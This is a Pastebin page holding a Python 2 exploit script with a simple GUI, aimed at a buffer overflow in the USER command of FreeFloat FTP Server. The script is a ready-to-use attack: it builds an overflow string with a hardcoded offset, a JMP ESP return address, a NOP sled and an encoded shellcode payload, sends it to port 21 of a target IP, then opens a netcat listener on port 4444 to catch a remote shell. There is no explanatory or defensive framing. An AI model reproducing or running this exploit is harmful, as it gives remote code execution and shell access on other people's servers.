Aluf

Free Float FTP Server USER Command Buffer Overflow

Jan 31st, 2015
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.71 KB | None | 0 0
  1. ##########
  2. # BY ALUF#
  3. ##########
  4.  
  5. import socket,sys,time,os
  6. import Tkinter,tkMessageBox
  7. os.system("clear")
  8. def exploit():
  9.     target = ip.get()
  10.     junk = "\x41" * 230     # Offest Number --> 230
  11.     eip = "\x53\x93\x37\x7E"  # 0x7E379353   FFE4             JMP ESP
  12.     nops = "\x90" * 20
  13.     payload =("\xb8\xe9\x78\x9d\xdb\xda\xd2\xd9\x74\x24\xf4\x5e\x2b\xc9" +
  14.     "\xb1\x4f\x31\x46\x14\x83\xc6\x04\x03\x46\x10\x0b\x8d\x61" +
  15.     "\x33\x42\x6e\x9a\xc4\x34\xe6\x7f\xf5\x66\x9c\xf4\xa4\xb6" +
  16.     "\xd6\x59\x45\x3d\xba\x49\xde\x33\x13\x7d\x57\xf9\x45\xb0" +
  17.     "\x68\xcc\x49\x1e\xaa\x4f\x36\x5d\xff\xaf\x07\xae\xf2\xae" +  
  18.     "\x40\xd3\xfd\xe2\x19\x9f\xac\x12\x2d\xdd\x6c\x13\xe1\x69" +
  19.     "\xcc\x6b\x84\xae\xb9\xc1\x87\xfe\x12\x5e\xcf\xe6\x19\x38" +
  20.     "\xf0\x17\xcd\x5b\xcc\x5e\x7a\xaf\xa6\x60\xaa\xfe\x47\x53" +
  21.     "\x92\xac\x79\x5b\x1f\xad\xbe\x5c\xc0\xd8\xb4\x9e\x7d\xda" +
  22.     "\x0e\xdc\x59\x6f\x93\x46\x29\xd7\x77\x76\xfe\x81\xfc\x74" +  
  23.     "\x4b\xc6\x5b\x99\x4a\x0b\xd0\xa5\xc7\xaa\x37\x2c\x93\x88" +
  24.     "\x93\x74\x47\xb1\x82\xd0\x26\xce\xd5\xbd\x97\x6a\x9d\x2c" +
  25.     "\xc3\x0c\xfc\x38\x20\x22\xff\xb8\x2e\x35\x8c\x8a\xf1\xed" +
  26.     "\x1a\xa7\x7a\x2b\xdc\xc8\x50\x8b\x72\x37\x5b\xeb\x5b\xfc" +
  27.     "\x0f\xbb\xf3\xd5\x2f\x50\x04\xd9\xe5\xf6\x54\x75\x56\xb6" +  
  28.     "\x04\x35\x06\x5e\x4f\xba\x79\x7e\x70\x10\x0c\xb9\xe7\x5b" +
  29.     "\xa7\x44\x78\x33\xba\x46\x69\x98\x33\xa0\xe3\x30\x12\x7b" +
  30.     "\x9c\xa9\x3f\xf7\x3d\x35\xea\x9f\xde\xa4\x71\x5f\xa8\xd4" +
  31.     "\x2d\x08\xfd\x2b\x24\xdc\x13\x15\x9e\xc2\xe9\xc3\xd9\x46" +
  32.     "\x36\x30\xe7\x47\xbb\x0c\xc3\x57\x05\x8c\x4f\x03\xd9\xdb" +
  33.     "\x19\xfd\x9f\xb5\xeb\x57\x76\x69\xa2\x3f\x0f\x41\x75\x39" +
  34.     "\x10\x8c\x03\xa5\xa1\x79\x52\xda\x0e\xee\x52\xa3\x72\x8e" +
  35.     "\x9d\x7e\x37\xbe\xd7\x22\x1e\x57\xbe\xb7\x22\x3a\x41\x62" +
  36.     "\x60\x43\xc2\x86\x19\xb0\xda\xe3\x1c\xfc\x5c\x18\x6d\x6d" +
  37.     "\x09\x1e\xc2\x8e\x18")
  38.     sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  39.  
  40.     try:
  41.         sock.connect((target,21))
  42.         print "\n\n[-] Sending exploit ..."
  43.         print sock.recv(2000)
  44.         sock.send("USER "+junk+eip+nops+payload+"\r\n")
  45.         sock.close()
  46.         os.system("nc -lvp 4444")
  47.     except:
  48.         print "[-] Connection to "+target+" failed! \n"
  49.         sys.exit(0)
  50.  
  51.  
  52. root=Tkinter.Tk()
  53. root.geometry("%dx%d" %(700,375))
  54. root.title("*** FreeFloat FTP Server Remote Code Execution USER Command Buffer Overflow***")
  55. root['bg'] = 'black'
  56. developer=Tkinter.Label(text="Developed by D35m0nd142").pack(side='bottom')
  57. ip_answer=Tkinter.Label(text="IP Address ").pack()
  58. ip=Tkinter.StringVar()
  59. ip_entry=Tkinter.Entry(textvariable=ip).pack()
  60. exploit=Tkinter.Button(text="Exploit",command=exploit).pack()
  61. root.mainloop()
Add Comment
Please, Sign In to add comment